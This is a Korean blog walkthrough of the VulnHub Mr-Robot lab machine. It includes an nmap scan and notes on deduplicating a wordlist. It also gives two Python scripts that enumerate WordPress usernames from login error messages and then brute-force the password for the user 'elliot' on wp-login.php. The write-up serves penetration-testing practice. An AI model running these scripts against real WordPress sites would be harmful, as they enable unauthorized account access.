36. Mr-Robot (sort

OSCP/Vulnahub

36. Mr-Robot (sort | uniq)

takudaddy 2021. 11. 11. 15:36

https://www.vulnhub.com/entry/mr-robot-1,151/

1. Information Gathering

┌──(takudaddy㉿t4kud4ddy)-[~]
└─$ sudo nmap -p- -sC -sV -O 10.0.2.10
sudo: unable to resolve host t4kud4ddy: Name or service not known
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-10 00:00 EST
Nmap scan report for 10.0.2.10
Host is up (0.00062s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
MAC Address: 08:00:27:C9:BF:FF (Oracle VirtualBox virtual NIC)

dic 파일과 txt 파일(첫 번째 플래그) 확인이 가능하다.

fsocity.dic 파일을 내려받은 후 확인해 보면,

8십5만여 단어가 들어있고

정렬한 뒤 중복을 제거해 보면

1만 1천여 단어로 정리가 가능.

이걸 별도로 저장한 뒤 써먹어 본다.

wordpress 로그인 페이지.

wpscan을 돌렸지만 딱히 찾아지는 건 없음.

hydra로 id + password 찾아볼 수 있지만

연습할 겸 파이썬으로 스크립트를 제작하기로 했다.

2. EXPLOITATION

스크립트의 아이디어는 우선,

로그인 실패 시 출력되는 메시지를 보면

Invalid user name이라고 나오는데

아이디가 맞고 비번이 틀린 경우

다른 메시지가 나올 것이라 가정해 볼 수 있다.

이 점을 활용해, 위에서 찾은 딕셔너리 리스트 항목을

하나씩 뽑아 Invalid user name이 안 나오는 경우를

찾으면 되겠다.

#!/usr/bin/python
import requests


with open("/home/takudaddy/newdic.dic", "r") as f:
	dics = f.readlines()

for dic in dics:
	url = "http://10.0.2.10/wp-login.php"
	data = {"log":dic,"pwd":"hey","wp-submit":"Log+In"}
	cookies = {"s_fid":"4D83FA11D9778BC9-16BCF51124593E6E",
		"s_nr":"1636523429803",
		"s_cc":"true",
		"s_sq":"%5B%5BB%5D%5D",
		"wordpress_test_cookie":"WP+Cookie+check"
		}
	msg = "Invalid username"

	dic = dic.strip()
	resp = requests.post(url, data=data, cookies=cookies)
	if (msg in resp.text):
		print(dic, "is not available")
	else:
		print(dic, "Found")
		break

스크립트를 돌려본 결과,

계획대로 에러 메시지가 노출되지 않는

특정 항목에서 멈췄고, 따라서 아이디는

elliot라고 생각할 수 있다.

실험을 위해 해당 아이디를 사용하고

비번을 아무거나 입력해 보면,

elliot 유저에 대한 비번이 맞지 않는다고 나온다.

동일한 스크립트를 약간 수정해 비번을 찾아본다.

#!/usr/bin/python
import requests


with open("/home/takudaddy/newdic.dic", "r") as f:
	dics = f.readlines()

for dic in dics:
	url = "http://10.0.2.10/wp-login.php"
	data = {"log":"elliot","pwd":dic,"wp-submit":"Log+In"}
	cookies = {"s_fid":"4D83FA11D9778BC9-16BCF51124593E6E",
		"s_nr":"1636523429803",
		"s_cc":"true",
		"s_sq":"%5B%5BB%5D%5D",
		"wordpress_test_cookie":"WP+Cookie+check"
		}
	msg = "Invalid username"
	msg2 = "The password you entered"
	
	dic = dic.strip()
	resp = requests.post(url, data=data, cookies=cookies)
	if (msg2 in resp.text):
		print(dic, "is not available")
	else:
		print(dic, "Found")
		break